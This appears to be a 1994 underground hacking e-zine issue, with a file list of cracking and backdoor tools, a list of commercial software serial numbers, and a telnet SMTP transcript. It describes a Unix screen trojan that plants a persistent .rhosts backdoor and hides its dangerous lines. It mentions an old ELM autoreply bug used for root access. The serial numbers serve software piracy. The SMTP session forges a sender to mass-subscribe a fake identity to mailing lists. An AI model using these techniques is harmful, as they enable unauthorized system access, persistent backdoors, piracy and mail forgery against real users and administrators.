Copy Link
Add to Bookmark
Report
Delirium_002
$$$$
$$ $$$$ $ $
$$ $$ $ $ $ $$ $$
$$ $$ $$$$ $ $$ $$$ $$ $$$ $$$
$$$ $$ $ $$ $$ $$ $ $$ $ $$$$ $ $
$$ $$ $ $ $$ $$ $ $$ $ $$ $$ $ $
$$ $$ $$ $ $$ $$$ $ $$ $ $ $$ $$ $$
$$$$ $$$$$$ $ $$ $$$$ $$ $$ $ $$ $ $$
$$$ $$ $ $$ $ $$$ $$ $$ $ $$ $$
$$ $$ $ $$ $ $$$ $$ $$ $ $$
$$ $$ $$ $ $ $$$ $ $$$ $$ $
$ $$ $$$ $ $ $$ $ $$$$
$
.oO[Issue #2]Oo.
.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oO
Contents
~~~~~~~~
[1] A Cheap Unix Trick You Already Knew
[2] 12/94 Serial # List
[3] How To Listserv For Posterity And Pleasure
File List
~~~~~~~~~
bm-westd.mod Western Delirium
uweber .jpg Photo of Ursula "Last Gasp" Weber
ap-dic2 .dic Semi-Obscure Band Name Password Dictionary
bm-crypt.c Mega-XOR Scrambler
bm-crypt.exe Mega-XOR Scrambler (Compiled)
bm-login.c BSDish Generic Hacked Login
screen .gz Cheap Unix Screen Trojan (Gzipped)
tinycrk .c TinyCrack v1.0
sooth .c Fixes Passwd Files
E-Mail Address - delirium@cyberspace.org
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oO
The ELM SunOS autoreply bug (which still works on a few systems, BTW)
creates a file named `/etc/autoreply.save' on some systems, which is a
copy of root's appended .rhosts (including your account name). Don't
forget to remove it (Doh).
Regarding the Cheap Unix Screen Trojan; this is just a unix shell script
screen trojan (for when people hit ps -aux |grep screen and then get on
your ass for a copy). It creates an .rhosts file, chmod 600's it, then
appends a couple lines to thier .login file to generate a new one just
in case they delete it. I wouldn't reccomend changing it to chmod 644
since 2nd/3rd party readable .rhosts' are a red light on most security
auditing programs. Just in case they type out the script all the dangerous
lines are at the bottom.
.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oO
Title Serial #
~~~~~ ~~~~~~~~
386Max v7.0 40090206002
Adobe Photoshop 3 PWW300R3000011-926
Adobe Premier v4.0 MBW400R3900106-762
Autocad AME 631CBEB9
Corel Flow v2.0 Win SAT5077300794
Dbase IV IA 712A10518133
Fauve Mattisse 1733767
Fractal Design Painter 2 0700585AQK
Fractal Design Painter X/2 0700418QDY
Fractal Design Painter 3 PW300NAZ0003220-SUZX-001
Halo Desktop Imager HDI4400
Hijakk Pro C78VZ9F5
Intermail 6A-000-001234
Lotus 123 Win 1F00028-01104360
Marvel Screen Saver MVW-92958-1201
Mathematica Win 2549-51771-93417-6270
Peatchtree Accounting Win 9257595
Photostyler Win 15-1115-201108382
QEMM 001-32H-72414
Simpson's Screen Saver ZQW-35600-2581
Stacker v4.0 U40AA079658
Ventura Picture Pro PPR010141
Visual Reality VRW02449
Winfax Pro 1321-2123-7176
WinSleuth Gold Plus 240-14256
X-Men Screen Saver AD3-00670-6681
.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oO
% telnet
telnet> o
(to) highland.edu 25
Trying 204.57.138.2 ...
Connected to highland.edu
Escape character is '^]'.
220-highland.edu IBM CM/VMS Sendmail 1.0 ready at Sun, 25 Dec 1994 01:
16:23 -0800
220 ESMTP spoken here
helo localhost
250 highland.edu Hello your.domain.com [12.5.5.20], pleased to meet you
mail from: urk3l
250 urk3l... Sender ok
rcpt to: LISTSERV@VM1.NODAK.EDU
250 LISTSERV@VM1.NODAK.EDU... Recipient ok
data
354 Enter mail, end with "." on a line by itself
Subscription
register Steve Urkel
subscribe TEST Steve Urkel
subscribe DIGNITY Steve Urkel
subscribe AUGLBC-L Steve Urkel
subscribe CLGSG-L Steve Urkel
subscribe TEST@EARNCC Steve Urkel
subscribe TEST@TRITU Steve Urkel
subscribe TEST@ICNUCEVM Steve Urkel
subscribe TEST@TREARN Steve Urkel
.
250 BAA07111 Message accepted for delivery
quit
221 highland.edu closing connection
Connection closed by foreign host.
.oO[ End Of Transmission ]Oo.
